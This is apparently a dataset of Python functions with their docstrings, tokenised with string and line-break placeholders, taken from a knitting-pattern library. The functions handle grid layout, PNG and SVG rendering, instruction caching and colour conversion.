{"signature": "def row_ids(layout):", "body": "return list(layout.walk_rows(lambda row: row.id))<EOL>", "docstring": "The ids of the rows of the layout.", "id": "f549:m3"}
{"signature": "def connections(layout):", "body": "return list(layout.walk_connections(lambda c: (c.start.xy, c.stop.xy)))<EOL>", "docstring": "The connections between the rows of the leyout.", "id": "f549:m4"}
{"signature": "@fixture(scope=\"<STR_LIT:class>\")<EOL><INDENT>def pattern(self):<DEDENT>", "body": "path = os.path.join(\"<STR_LIT>\", self.FILE)<EOL>pattern_set = load_from_relative_file(__name__, path)<EOL>return pattern_set.patterns[self.PATTERN]<EOL>", "docstring": "Teh pattern to test.", "id": "f549:c0:m0"}
{"signature": "@fixture(scope=\"<STR_LIT:class>\")<EOL><INDENT>def grid(self, pattern):<DEDENT>", "body": "return GridLayout(pattern)<EOL>", "docstring": "The computed grid for the pattern.", "id": "f549:c0:m1"}
{"signature": "def __init__(self, min_x, min_y, max_x, max_y,<EOL>default_color=\"<STR_LIT>\"):", "body": "self._min_x = min_x<EOL>self._min_y = min_y<EOL>self._max_x = max_x<EOL>self._max_y = max_y<EOL>self._default_color = default_color<EOL>self._image = PIL.Image.new(<EOL>\"<STR_LIT>\", (max_x - min_x, max_y - min_y),<EOL>self._convert_to_image_color(default_color))<EOL>", "docstring": "Initialize the builder with the bounding box and a default color.\n\n        .. _png-builder-bounds:\n\n        ``min_x <= x < max_x`` and ``min_y <= y < max_y`` are the bounds of the\n        instructions.\n        Instructions outside the bounds are not rendered.\n        Any Pixel that is not set has the :paramref:`default_color`.\n\n        :param int min_x: the lower bound of the x coordinates\n        :param int max_x: the upper bound of the x coordinates\n        :param int min_y: the lower bound of the y coordinates\n        :param int max_y: the upper bound of the y coordinates\n        :param default_color: a valid :ref:`color <png-color>`", "id": "f550:c0:m0"}
{"signature": "def write_to_file(self, file):", "body": "self._image.save(file, format=\"<STR_LIT>\")<EOL>", "docstring": "write the png to the file\n\n        :param file: a file-like object", "id": "f550:c0:m1"}
{"signature": "@staticmethod<EOL><INDENT>def _convert_color_to_rrggbb(color):<DEDENT>", "body": "return convert_color_to_rrggbb(color)<EOL>", "docstring": "takes a :ref:`color <png-color>` and converts it into a 24 bit\n        color \"#RRGGBB\"", "id": "f550:c0:m2"}
{"signature": "def _convert_rrggbb_to_image_color(self, rrggbb):", "body": "return webcolors.hex_to_rgb(rrggbb)<EOL>", "docstring": ":return: the color that is used by the image", "id": "f550:c0:m3"}
{"signature": "def _convert_to_image_color(self, color):", "body": "rgb = self._convert_color_to_rrggbb(color)<EOL>return self._convert_rrggbb_to_image_color(rgb)<EOL>", "docstring": ":return: a color that can be used by the image", "id": "f550:c0:m4"}
{"signature": "def _set_pixel_and_convert_color(self, x, y, color):", "body": "if color is None:<EOL><INDENT>return<EOL><DEDENT>color = self._convert_color_to_rrggbb(color)<EOL>self._set_pixel(x, y, color)<EOL>", "docstring": "set the pixel but convert the color before.", "id": "f550:c0:m5"}
{"signature": "def _set_pixel(self, x, y, color):", "body": "if not self.is_in_bounds(x, y):<EOL><INDENT>return<EOL><DEDENT>rgb = self._convert_rrggbb_to_image_color(color)<EOL>x -= self._min_x<EOL>y -= self._min_y<EOL>self._image.putpixel((x, y), rgb)<EOL>", "docstring": "set the color of the pixel.\n\n        :param color: must be a valid color in the form of \"#RRGGBB\".\n          If you need to convert color, use `_set_pixel_and_convert_color()`.", "id": "f550:c0:m6"}
{"signature": "def set_pixel(self, x, y, color):", "body": "self._set_pixel_and_convert_color(x, y, color)<EOL>", "docstring": "set the pixel at ``(x, y)`` position to :paramref:`color`\n\n        If ``(x, y)`` is out of the :ref:`bounds <png-builder-bounds>`\n        this does not change the image.\n\n        .. seealso:: :meth:`set_color_in_grid`", "id": "f550:c0:m7"}
{"signature": "def is_in_bounds(self, x, y):", "body": "lower = self._min_x <= x and self._min_y <= y<EOL>upper = self._max_x > x and self._max_y > y<EOL>return lower and upper<EOL>", "docstring": ":return: whether ``(x, y)`` is inside the :ref:`bounds\n  <png-builder-bounds>`\n:rtype: bool", "id": "f550:c0:m8"}
{"signature": "def set_color_in_grid(self, color_in_grid):", "body": "self._set_pixel_and_convert_color(<EOL>color_in_grid.x, color_in_grid.y, color_in_grid.color)<EOL>", "docstring": "Set the pixel at the position of the :paramref:`color_in_grid`\n        to its color.\n\n        :param color_in_grid: must have the following attributes:\n\n          - ``color`` is the :ref:`color <png-color>` to set the pixel to\n          - ``x`` is the x position of the pixel\n          - ``y`` is the y position of the pixel\n\n        .. seealso:: :meth:`set_pixel`, :meth:`set_colors_in_grid`", "id": "f550:c0:m9"}
{"signature": "def set_colors_in_grid(self, some_colors_in_grid):", "body": "for color_in_grid in some_colors_in_grid:<EOL><INDENT>self._set_pixel_and_convert_color(<EOL>color_in_grid.x, color_in_grid.y, color_in_grid.color)<EOL><DEDENT>", "docstring": "Same as :meth:`set_color_in_grid` but with a collection of\n        colors in grid.\n\n        :param iterable some_colors_in_grid: a collection of colors in grid for\n          :meth:`set_color_in_grid`", "id": "f550:c0:m10"}
{"signature": "@property<EOL><INDENT>def default_color(self):<DEDENT>", "body": "return self._default_color<EOL>", "docstring": ":return: the :ref:`color <png-color>` of the pixels that are not set\n\n        You can set this color by passing it to the :meth:`constructor\n        <__init__>`.", "id": "f550:c0:m11"}
{"signature": "def __init__(self, function_that_returns_a_knitting_pattern_set):", "body": "super().__init__(self._dump_knitting_pattern,<EOL>text_is_expected=False, encoding=None)<EOL>self.__on_dump = function_that_returns_a_knitting_pattern_set<EOL>", "docstring": "Initialize the Dumper with a\n        :paramref:`function_that_returns_a_knitting_pattern_set`.\n\n        :param function_that_returns_a_knitting_pattern_set: a function that\n          takes no arguments but returns a\n          :class:`knittinpattern.KnittingPatternSet.KnittingPatternSet`\n\n        When a dump is requested, the\n        :paramref:`function_that_returns_a_knitting_pattern_set`\n        is called and the knitting pattern set is converted and saved to the\n        specified location.", "id": "f552:c0:m0"}
{"signature": "def _dump_knitting_pattern(self, file):", "body": "knitting_pattern_set = self.__on_dump()<EOL>knitting_pattern = knitting_pattern_set.patterns.at(<NUM_LIT:0>)<EOL>layout = GridLayout(knitting_pattern)<EOL>builder = AYABPNGBuilder(*layout.bounding_box)<EOL>builder.set_colors_in_grid(layout.walk_instructions())<EOL>builder.write_to_file(file)<EOL>", "docstring": "dump a knitting pattern to a file.", "id": "f552:c0:m1"}
{"signature": "def identity(object_):", "body": "return object_<EOL>", "docstring": ":return: the argument", "id": "f553:m0"}
{"signature": "def __init__(self, position):", "body": "self._position = position<EOL>", "docstring": "Create a new InGrid object.", "id": "f553:c0:m0"}
{"signature": "@property<EOL><INDENT>def x(self):<DEDENT>", "body": "return self._position.x<EOL>", "docstring": ":return: x coordinate in the grid\n        :rtype: float", "id": "f553:c0:m1"}
{"signature": "@property<EOL><INDENT>def y(self):<DEDENT>", "body": "return self._position.y<EOL>", "docstring": ":return: y coordinate in the grid\n        :rtype: float", "id": "f553:c0:m2"}
{"signature": "@property<EOL><INDENT>def xy(self):<DEDENT>", "body": "return self._position<EOL>", "docstring": ":return: ``(x, y)`` coordinate in the grid\n        :rtype: tuple", "id": "f553:c0:m3"}
{"signature": "@property<EOL><INDENT>def yx(self):<DEDENT>", "body": "return self._position.y, self._position.x<EOL>", "docstring": ":return: ``(y, x)`` coordinate in the grid\n        :rtype: tuple", "id": "f553:c0:m4"}
{"signature": "@property<EOL><INDENT>def width(self):<DEDENT>", "body": "return self._width<EOL>", "docstring": ":return: width of the object on the grid\n        :rtype: float", "id": "f553:c0:m5"}
{"signature": "@property<EOL><INDENT>def height(self):<DEDENT>", "body": "return INSTRUCTION_HEIGHT<EOL>", "docstring": ":return: height of the object on the grid\n        :rtype: float", "id": "f553:c0:m6"}
{"signature": "@property<EOL><INDENT>def row(self):<DEDENT>", "body": "return self._row<EOL>", "docstring": ":return: row of the object on the grid\n        :rtype: knittingpattern.Row.Row", "id": "f553:c0:m7"}
{"signature": "@property<EOL><INDENT>def bounding_box(self):<DEDENT>", "body": "return self._bounding_box<EOL>", "docstring": "The bounding box of this object.\n\n        :return: (min x, min y, max x, max y)\n        :rtype: tuple", "id": "f553:c0:m8"}
{"signature": "@property<EOL><INDENT>def id(self):<DEDENT>", "body": "return self._id<EOL>", "docstring": "The id of this object.", "id": "f553:c0:m9"}
{"signature": "def __init__(self, instruction, position):", "body": "self._instruction = instruction<EOL>super().__init__(position)<EOL>", "docstring": ":param instruction: an :class:`instruction\n  <knittingpattern.Instruction.InstructionInRow>`\n:param Point position: the position of the :paramref:`instruction`", "id": "f553:c1:m0"}
{"signature": "@property<EOL><INDENT>def _width(self):<DEDENT>", "body": "layout = self._instruction.get(GRID_LAYOUT)<EOL>if layout is not None:<EOL><INDENT>width = layout.get(WIDTH)<EOL>if width is not None:<EOL><INDENT>return width<EOL><DEDENT><DEDENT>return self._instruction.number_of_consumed_meshes<EOL>", "docstring": "For ``self.width``.", "id": "f553:c1:m1"}
{"signature": "@property<EOL><INDENT>def instruction(self):<DEDENT>", "body": "return self._instruction<EOL>", "docstring": "The instruction.\n\n        :return: instruction that is placed on the grid\n        :rtype: knittingpattern.Instruction.InstructionInRow", "id": "f553:c1:m2"}
{"signature": "@property<EOL><INDENT>def color(self):<DEDENT>", "body": "return self._instruction.color<EOL>", "docstring": "The color of the instruction.\n\n        :return: the color of the :attr:`instruction`", "id": "f553:c1:m3"}
{"signature": "def _row(self):", "body": "return self._instruction.row<EOL>", "docstring": "For ``self.row``.", "id": "f553:c1:m4"}
{"signature": "def __init__(self, row, position):", "body": "super().__init__(position)<EOL>self._row = row<EOL>", "docstring": "Create a new row in the grid.", "id": "f553:c2:m0"}
{"signature": "@property<EOL><INDENT>def _width(self):<DEDENT>", "body": "return sum(map(lambda i: i.width, self.instructions))<EOL>", "docstring": ":return: the number of consumed meshes", "id": "f553:c2:m1"}
{"signature": "@property<EOL><INDENT>def instructions(self):<DEDENT>", "body": "x = self.x<EOL>y = self.y<EOL>result = []<EOL>for instruction in self._row.instructions:<EOL><INDENT>instruction_in_grid = InstructionInGrid(instruction, Point(x, y))<EOL>x += instruction_in_grid.width<EOL>result.append(instruction_in_grid)<EOL><DEDENT>return result<EOL>", "docstring": "The instructions in a grid.\n\n        :return: the :class:`instructions in a grid <InstructionInGrid>` of\n          this row\n        :rtype: list", "id": "f553:c2:m2"}
{"signature": "def __init__(self, first_instruction):", "body": "self._rows_in_grid = {}<EOL>self._todo = []<EOL>self._expand(first_instruction.row, Point(<NUM_LIT:0>, <NUM_LIT:0>), [])<EOL>self._walk()<EOL>", "docstring": "Start walking the knitting pattern starting from first_instruction.", "id": "f553:c3:m0"}
{"signature": "def _expand(self, row, consumed_position, passed):", "body": "self._todo.append((row, consumed_position, passed))<EOL>", "docstring": "Add the arguments `(args, kw)` to `_walk` to the todo list.", "id": "f553:c3:m1"}
{"signature": "def _step(self, row, position, passed):", "body": "if row in passed or not self._row_should_be_placed(row, position):<EOL><INDENT>return<EOL><DEDENT>self._place_row(row, position)<EOL>passed = [row] + passed<EOL>for i, produced_mesh in enumerate(row.produced_meshes):<EOL><INDENT>self._expand_produced_mesh(produced_mesh, i, position, passed)<EOL><DEDENT>for i, consumed_mesh in enumerate(row.consumed_meshes):<EOL><INDENT>self._expand_consumed_mesh(consumed_mesh, i, position, passed)<EOL><DEDENT>", "docstring": "Walk through the knitting pattern by expanding an row.", "id": "f553:c3:m2"}
{"signature": "def _expand_consumed_mesh(self, mesh, mesh_index, row_position, passed):", "body": "if not mesh.is_produced():<EOL><INDENT>return<EOL><DEDENT>row = mesh.producing_row<EOL>position = Point(<EOL>row_position.x + mesh.index_in_producing_row - mesh_index,<EOL>row_position.y - INSTRUCTION_HEIGHT<EOL>)<EOL>self._expand(row, position, passed)<EOL>", "docstring": "expand the consumed meshes", "id": "f553:c3:m3"}
{"signature": "def _expand_produced_mesh(self, mesh, mesh_index, row_position, passed):", "body": "if not mesh.is_consumed():<EOL><INDENT>return<EOL><DEDENT>row = mesh.consuming_row<EOL>position = Point(<EOL>row_position.x - mesh.index_in_consuming_row + mesh_index,<EOL>row_position.y + INSTRUCTION_HEIGHT<EOL>)<EOL>self._expand(row, position, passed)<EOL>", "docstring": "expand the produced meshes", "id": "f553:c3:m4"}
{"signature": "def _row_should_be_placed(self, row, position):", "body": "placed_row = self._rows_in_grid.get(row)<EOL>return placed_row is None or placed_row.y < position.y<EOL>", "docstring": ":return: whether to place this instruction", "id": "f553:c3:m5"}
{"signature": "def _place_row(self, row, position):", "body": "self._rows_in_grid[row] = RowInGrid(row, position)<EOL>", "docstring": "place the instruction on a grid", "id": "f553:c3:m6"}
{"signature": "def _walk(self):", "body": "while self._todo:<EOL><INDENT>args = self._todo.pop(<NUM_LIT:0>)<EOL>self._step(*args)<EOL><DEDENT>", "docstring": "Loop through all the instructions that are `_todo`.", "id": "f553:c3:m7"}
{"signature": "def instruction_in_grid(self, instruction):", "body": "row_position = self._rows_in_grid[instruction.row].xy<EOL>x = instruction.index_of_first_consumed_mesh_in_row<EOL>position = Point(row_position.x + x, row_position.y)<EOL>return InstructionInGrid(instruction, position)<EOL>", "docstring": "Returns an `InstructionInGrid` object for the `instruction`", "id": "f553:c3:m8"}
{"signature": "def row_in_grid(self, row):", "body": "return self._rows_in_grid[row]<EOL>", "docstring": "Returns an `RowInGrid` object for the `row`", "id": "f553:c3:m9"}
{"signature": "def __init__(self, start, stop):", "body": "self._start = start<EOL>self._stop = stop<EOL>", "docstring": ":param InstructionInGrid start: the start of the connection\n:param InstructionInGrid stop: the end of the connection", "id": "f553:c4:m0"}
{"signature": "@property<EOL><INDENT>def start(self):<DEDENT>", "body": "return self._start<EOL>", "docstring": ":return: the start of the connection\n        :rtype: InstructionInGrid", "id": "f553:c4:m1"}
{"signature": "@property<EOL><INDENT>def stop(self):<DEDENT>", "body": "return self._stop<EOL>", "docstring": ":return: the end of the connection\n        :rtype: InstructionInGrid", "id": "f553:c4:m2"}
{"signature": "def is_visible(self):", "body": "if self._start.y + <NUM_LIT:1> < self._stop.y:<EOL><INDENT>return True<EOL><DEDENT>return False<EOL>", "docstring": ":return: is this connection is visible\n        :rtype: bool\n\n        A connection is visible if it is longer that 0.", "id": "f553:c4:m3"}
{"signature": "def __init__(self, pattern):", "body": "self._pattern = pattern<EOL>self._rows = list(pattern.rows)<EOL>self._walk = _RecursiveWalk(self._rows[<NUM_LIT:0>].instructions[<NUM_LIT:0>])<EOL>self._rows.sort(key=lambda row: self._walk.row_in_grid(row).yx)<EOL>", "docstring": ":param knittingpattern.KnittingPattern.KnittingPattern pattern: the\n  pattern to layout", "id": "f553:c5:m0"}
{"signature": "def walk_instructions(self, mapping=identity):", "body": "instructions = chain(*self.walk_rows(lambda row: row.instructions))<EOL>return map(mapping, instructions)<EOL>", "docstring": "Iterate over instructions.\n\n        :return: an iterator over :class:`instructions in grid\n          <InstructionInGrid>`\n        :param mapping: funcion to map the result\n\n        .. code:: python\n\n            for pos, c in layout.walk_instructions(lambda i: (i.xy, i.color)):\n                print(\"color {} at {}\".format(c, pos))", "id": "f553:c5:m1"}
{"signature": "def walk_rows(self, mapping=identity):", "body": "row_in_grid = self._walk.row_in_grid<EOL>return map(lambda row: mapping(row_in_grid(row)), self._rows)<EOL>", "docstring": "Iterate over rows.\n\n        :return: an iterator over :class:`rows <RowsInGrid>`\n        :param mapping: funcion to map the result, see\n          :meth:`walk_instructions` for an example usage", "id": "f553:c5:m2"}
{"signature": "def walk_connections(self, mapping=identity):", "body": "for start in self.walk_instructions():<EOL><INDENT>for stop_instruction in start.instruction.consuming_instructions:<EOL><INDENT>if stop_instruction is None:<EOL><INDENT>continue<EOL><DEDENT>stop = self._walk.instruction_in_grid(stop_instruction)<EOL>connection = Connection(start, stop)<EOL>if connection.is_visible():<EOL><INDENT>yield mapping(connection)<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Iterate over connections between instructions.\n\n        :return: an iterator over :class:`connections <Connection>` between\n          :class:`instructions in grid <InstructionInGrid>`\n        :param mapping: funcion to map the result, see\n          :meth:`walk_instructions` for an example usage", "id": "f553:c5:m3"}
{"signature": "@property<EOL><INDENT>def bounding_box(self):<DEDENT>", "body": "min_x, min_y, max_x, max_y = zip(*list(self.walk_rows(<EOL>lambda row: row.bounding_box)))<EOL>return min(min_x), min(min_y), max(max_x), max(max_y)<EOL>", "docstring": "The minimum and maximum bounds of this layout.\n\n        :return: ``(min_x, min_y, max_x, max_y)`` the bounding box\n          of this layout\n        :rtype: tuple", "id": "f553:c5:m4"}
{"signature": "def row_in_grid(self, row):", "body": "return self._walk.row_in_grid(row)<EOL>", "docstring": "The a RowInGrid for the row with position information.\n\n        :return: a row in the grid\n        :rtype: RowInGrid", "id": "f553:c5:m5"}
{"signature": "def default_instruction_svg_cache():", "body": "global _default_instruction_svg_cache<EOL>if _default_instruction_svg_cache is None:<EOL><INDENT>_default_instruction_svg_cache = InstructionSVGCache()<EOL><DEDENT>return _default_instruction_svg_cache<EOL>", "docstring": "Return the default InstructionSVGCache.\n\n    :rtype: knittingpattern.convert.InstructionSVGCache.InstructionSVGCache", "id": "f554:m0"}
{"signature": "def __init__(self, instruction_to_svg=None):", "body": "if instruction_to_svg is None:<EOL><INDENT>instruction_to_svg = default_instructions_to_svg()<EOL><DEDENT>self._instruction_to_svg_dict =instruction_to_svg.instruction_to_svg_dict<EOL>self._cache = {}<EOL>", "docstring": "Create the InstructionSVGCache.\n\n        :param instruction_to_svg: an\n         :class:`~knittingpattern.convert.InstructionToSVG.InstructionToSVG`\n         object. If :obj:`None` is given, the\n         :func:`default_instructions_to_svg\n         <knittingpattern.convert.InstructionToSVG.default_instructions_to_svg>`\n         is used.", "id": "f554:c0:m0"}
{"signature": "def get_instruction_id(self, instruction_or_id):", "body": "if isinstance(instruction_or_id, tuple):<EOL><INDENT>return _InstructionId(instruction_or_id)<EOL><DEDENT>return _InstructionId(instruction_or_id.type,<EOL>instruction_or_id.hex_color)<EOL>", "docstring": "The id that identifies the instruction in this cache.\n\n        :param instruction_or_id: an :class:`instruction\n          <knittingpattern.Instruction.Instruction>` or an instruction id\n        :return: a :func:`hashable <hash>` object\n        :rtype: tuple", "id": "f554:c0:m1"}
{"signature": "def _new_svg_dumper(self, on_dump):", "body": "return SVGDumper(on_dump)<EOL>", "docstring": "Create a new SVGDumper with the function ``on_dump``.\n\n        :rtype: knittingpattern.Dumper.SVGDumper", "id": "f554:c0:m2"}
{"signature": "def to_svg(self, instruction_or_id,<EOL>i_promise_not_to_change_the_result=False):", "body": "return self._new_svg_dumper(lambda: self.instruction_to_svg_dict(<EOL>instruction_or_id, not i_promise_not_to_change_the_result))<EOL>", "docstring": "Return the SVG for an instruction.\n\n        :param instruction_or_id: either an\n          :class:`~knittingpattern.Instruction.Instruction` or an id\n          returned by :meth:`get_instruction_id`\n        :param bool i_promise_not_to_change_the_result:\n\n          - :obj:`False`: the result is copied, you can alter it.\n          - :obj:`True`: the result is directly from the cache. If you change\n            the result, other calls of this function get the changed result.\n\n        :return: an SVGDumper\n        :rtype: knittingpattern.Dumper.SVGDumper", "id": "f554:c0:m3"}
{"signature": "def instruction_to_svg_dict(self, instruction_or_id, copy_result=True):", "body": "instruction_id = self.get_instruction_id(instruction_or_id)<EOL>if instruction_id in self._cache:<EOL><INDENT>result = self._cache[instruction_id]<EOL><DEDENT>else:<EOL><INDENT>result = self._instruction_to_svg_dict(instruction_id)<EOL>self._cache[instruction_id] = result<EOL><DEDENT>if copy_result:<EOL><INDENT>result = deepcopy(result)<EOL><DEDENT>return result<EOL>", "docstring": "Return the SVG dict for the SVGBuilder.\n\n        :param instruction_or_id: the instruction or id, see\n          :meth:`get_instruction_id`\n        :param bool copy_result: whether to copy the result\n        :rtype: dict\n\n        The result is cached.", "id": "f554:c0:m4"}
{"signature": "def default_instructions_to_svg():", "body": "instruction_to_svg = InstructionToSVG()<EOL>instruction_to_svg.load.relative_folder(__name__, DEFAULT_SVG_FOLDER)<EOL>return instruction_to_svg<EOL>", "docstring": "load the default set of svg files for instructions\n\n    :return: the default svg files for the instructions in this package\n    :rtype: knittingpattern.InstructionToSVG.InstructionToSVG", "id": "f555:m0"}
{"signature": "@property<EOL><INDENT>def _loader_class(self):<DEDENT>", "body": "return PathLoader<EOL>", "docstring": ":return: the loader to load svgs from different locations\n        :rtype: knittingpattern.Loader.PathLoader .", "id": "f555:c0:m0"}
{"signature": "def __init__(self):", "body": "self._instruction_type_to_file_content = {}<EOL>", "docstring": "create a InstructionToSVG object without arguments.", "id": "f555:c0:m1"}
{"signature": "@property<EOL><INDENT>def load(self):<DEDENT>", "body": "return self._loader_class(self._process_loaded_object)<EOL>", "docstring": ":return: a loader object that allows loading SVG files from\n          various sources such as files and folders.\n        :rtype: knittingpattern.Loader.PathLoader\n\n        Examples:\n\n        - ``instruction_to_svg.load.path(path)`` loads an SVG from a file named\n          path\n        - ``instruction_to_svg.load.folder(path)`` loads all SVG files for\n          instructions in the folder recursively.\n          If multiple files have the same name, the last occurrence is used.", "id": "f555:c0:m2"}
{"signature": "def _process_loaded_object(self, path):", "body": "file_name = os.path.basename(path)<EOL>name = os.path.splitext(file_name)[<NUM_LIT:0>]<EOL>with open(path) as file:<EOL><INDENT>string = file.read()<EOL>self._instruction_type_to_file_content[name] = string<EOL><DEDENT>", "docstring": "process the :paramref:`path`.\n\n        :param str path: the path to load an svg from", "id": "f555:c0:m3"}
{"signature": "def instruction_to_svg_dict(self, instruction):", "body": "instruction_type = instruction.type<EOL>if instruction_type in self._instruction_type_to_file_content:<EOL><INDENT>svg = self._instruction_type_to_file_content[instruction_type]<EOL>return self._set_fills_in_color_layer(svg, instruction.hex_color)<EOL><DEDENT>return self.default_instruction_to_svg_dict(instruction)<EOL>", "docstring": ":return: an xml-dictionary with the same content as\n  :meth:`instruction_to_svg`.", "id": "f555:c0:m4"}
{"signature": "def instruction_to_svg(self, instruction):", "body": "return xmltodict.unparse(self.instruction_to_svg_dict(instruction))<EOL>", "docstring": ":return: an SVG representing the instruction.\n\n        The SVG file is determined by the type attribute of the instruction.\n        An instruction of type ``\"knit\"`` is looked for in a file named\n        ``\"knit.svg\"``.\n\n        Every element inside a group labeled ``\"color\"`` of mode ``\"layer\"``\n        that has a ``\"fill\"`` style gets this fill replaced by the color of\n        the instruction.\n        Example of a recangle that gets filled like the instruction:\n\n        .. code:: xml\n\n            <g inkscape:label=\"color\" inkscape:groupmode=\"layer\">\n                <rect style=\"fill:#ff0000;fill-opacity:1;fill-rule:nonzero\"\n                      id=\"rectangle1\" width=\"10\" height=\"10\" x=\"0\" y=\"0\" />\n            </g>\n\n        If nothing was loaded to display this instruction, a default image is\n        be generated by :meth:`default_instruction_to_svg`.", "id": "f555:c0:m5"}
{"signature": "def _set_fills_in_color_layer(self, svg_string, color):", "body": "structure = xmltodict.parse(svg_string)<EOL>if color is None:<EOL><INDENT>return structure<EOL><DEDENT>layers = structure[\"<STR_LIT>\"][\"<STR_LIT:g>\"]<EOL>if not isinstance(layers, list):<EOL><INDENT>layers = [layers]<EOL><DEDENT>for layer in layers:<EOL><INDENT>if not isinstance(layer, dict):<EOL><INDENT>continue<EOL><DEDENT>if layer.get(\"<STR_LIT>\") == \"<STR_LIT>\" andlayer.get(\"<STR_LIT>\") == \"<STR_LIT>\":<EOL><INDENT>for key, elements in layer.items():<EOL><INDENT>if key.startswith(\"<STR_LIT:@>\") or key.startswith(\"<STR_LIT:#>\"):<EOL><INDENT>continue<EOL><DEDENT>if not isinstance(elements, list):<EOL><INDENT>elements = [elements]<EOL><DEDENT>for element in elements:<EOL><INDENT>style = element.get(\"<STR_LIT>\", None)<EOL>if style:<EOL><INDENT>style = style.split(\"<STR_LIT:;>\")<EOL>processed_style = []<EOL>for style_element in style:<EOL><INDENT>if style_element.startswith(\"<STR_LIT>\"):<EOL><INDENT>style_element = \"<STR_LIT>\" + color<EOL><DEDENT>processed_style.append(style_element)<EOL><DEDENT>style = \"<STR_LIT:;>\".join(processed_style)<EOL>element[\"<STR_LIT>\"] = style<EOL><DEDENT><DEDENT><DEDENT><DEDENT><DEDENT>return structure<EOL>", "docstring": "replaces fill colors in ``<g inkscape:label=\"color\"\n        inkscape:groupmode=\"layer\">`` with :paramref:`color`\n\n        :param color: a color fill the objects in the layer with", "id": "f555:c0:m6"}
{"signature": "def has_svg_for_instruction(self, instruction):", "body": "instruction_type = instruction.type<EOL>return instruction_type in self._instruction_type_to_file_content<EOL>", "docstring": ":return: whether there is an image for the instruction\n        :rtype: bool\n\n        This can be used before :meth:`instruction_to_svg` as it determines\n        whether\n\n        - the default value is used (:obj:`False`)\n        - or there is a dedicated svg representation (:obj:`True`).", "id": "f555:c0:m7"}
{"signature": "def default_instruction_to_svg(self, instruction):", "body": "svg_dict = self.default_instruction_to_svg_dict(instruction)<EOL>return xmltodict.unparse(svg_dict)<EOL>", "docstring": "As :meth:`instruction_to_svg` but it only takes the ``default.svg``\n        file into account.\n\n        In case no file is found for an instruction in\n        :meth:`instruction_to_svg`,\n        this method is used to determine the default svg for it.\n\n        The content is created by replacing the text ``{instruction.type}`` in\n        the whole svg file named ``default.svg``.\n\n        If no file ``default.svg`` was loaded, an empty string is returned.", "id": "f555:c0:m8"}
{"signature": "def default_instruction_to_svg_dict(self, instruction):", "body": "instruction_type = instruction.type<EOL>default_type = \"<STR_LIT:default>\"<EOL>rep_str = \"<STR_LIT>\"<EOL>if default_type not in self._instruction_type_to_file_content:<EOL><INDENT>return {\"<STR_LIT>\": \"<STR_LIT>\"}<EOL><DEDENT>default_svg = self._instruction_type_to_file_content[default_type]<EOL>default_svg = default_svg.replace(rep_str, instruction_type)<EOL>colored_svg = self._set_fills_in_color_layer(default_svg,<EOL>instruction.hex_color)<EOL>return colored_svg<EOL>", "docstring": "Returns an xml-dictionary with the same content as\n        :meth:`default_instruction_to_svg`\n\n        If no file ``default.svg`` was loaded, an empty svg-dict is returned.", "id": "f555:c0:m9"}
{"signature": "@decorate_load_and_dump(PathLoader, JSONDumper)<EOL>def convert_image_to_knitting_pattern(path, colors=(\"<STR_LIT>\", \"<STR_LIT>\")):", "body": "image = PIL.Image.open(path)<EOL>pattern_id = os.path.splitext(os.path.basename(path))[<NUM_LIT:0>]<EOL>rows = []<EOL>connections = []<EOL>pattern_set = {<EOL>\"<STR_LIT:version>\": \"<STR_LIT>\",<EOL>\"<STR_LIT:type>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": {<EOL>\"<STR_LIT:source>\": path<EOL>},<EOL>\"<STR_LIT>\": [<EOL>{<EOL>\"<STR_LIT:name>\": pattern_id,<EOL>\"<STR_LIT:id>\": pattern_id,<EOL>\"<STR_LIT>\": rows,<EOL>\"<STR_LIT>\": connections<EOL>}<EOL>]}<EOL>bbox = image.getbbox()<EOL>if not bbox:<EOL><INDENT>return pattern_set<EOL><DEDENT>white = image.getpixel((<NUM_LIT:0>, <NUM_LIT:0>))<EOL>min_x, min_y, max_x, max_y = bbox<EOL>last_row_y = None<EOL>for y in reversed(range(min_y, max_y)):<EOL><INDENT>instructions = []<EOL>row = {\"<STR_LIT:id>\": y, \"<STR_LIT>\": instructions}<EOL>rows.append(row)<EOL>for x in range(min_x, max_x):<EOL><INDENT>if image.getpixel((x, y)) == white:<EOL><INDENT>color = colors[<NUM_LIT:0>]<EOL><DEDENT>else:<EOL><INDENT>color = colors[<NUM_LIT:1>]<EOL><DEDENT>instruction = {\"<STR_LIT>\": color}<EOL>instructions.append(instruction)<EOL><DEDENT>if last_row_y is not None:<EOL><INDENT>connections.append({\"<STR_LIT>\": {\"<STR_LIT:id>\": last_row_y}, \"<STR_LIT:to>\": {\"<STR_LIT:id>\": y}})<EOL><DEDENT>last_row_y = y<EOL><DEDENT>return pattern_set<EOL>", "docstring": "Load a image file such as a png bitmap of jpeg file and convert it\n    to a :ref:`knitting pattern file <FileFormatSpecification>`.\n\n    :param list colors: a list of strings that should be used as\n      :ref:`colors <png-color>`.\n    :param str path: ignore this. It is fulfilled by the loeder.\n\n    Example:\n\n    .. code:: python\n\n        convert_image_to_knitting_pattern().path(\"image.png\").path(\"image.json\")", "id": "f556:m0"}
{"signature": "def convert_color_to_rrggbb(color):", "body": "if not color.startswith(\"<STR_LIT:#>\"):<EOL><INDENT>rgb = webcolors.html5_parse_legacy_color(color)<EOL>hex_color = webcolors.html5_serialize_simple_color(rgb)<EOL><DEDENT>else:<EOL><INDENT>hex_color = color<EOL><DEDENT>return webcolors.normalize_hex(hex_color)<EOL>", "docstring": "The color in \"#RRGGBB\" format.\n\n    :return: the :attr:`color` in \"#RRGGBB\" format", "id": "f557:m0"}
{"signature": "@property<EOL><INDENT>def id(self):<DEDENT>", "body": "return self.get(ID)<EOL>", "docstring": "The id of the instruction.\n\n        :return: the :data:`id <ID>` of the instruction or\n          :obj:`None` if none is specified.", "id": "f558:c0:m0"}
{"signature": "@property<EOL><INDENT>def type(self):<DEDENT>", "body": "return self.get(TYPE, DEFAULT_TYPE)<EOL>", "docstring": "The type of the instruction.\n\n        :return: the :data:`type <TYPE>` of the instruction or\n          :data:`DEFAULT_TYPE` if none is specified.\n        :rtype: str\n\n        The type should be a string.\n        Depending on the type, the instruction can receive additional\n        attributes.\n\n        .. seealso:: :mod:`knittingpattern.InstructionLibrary`", "id": "f558:c0:m1"}
{"signature": "@property<EOL><INDENT>def color(self):<DEDENT>", "body": "return self.get(COLOR)<EOL>", "docstring": "The color of the instruction.\n\n        :return: the :data:`color <COLOR>` of the instruction or\n          :obj:`None` if none is specified.", "id": "f558:c0:m2"}
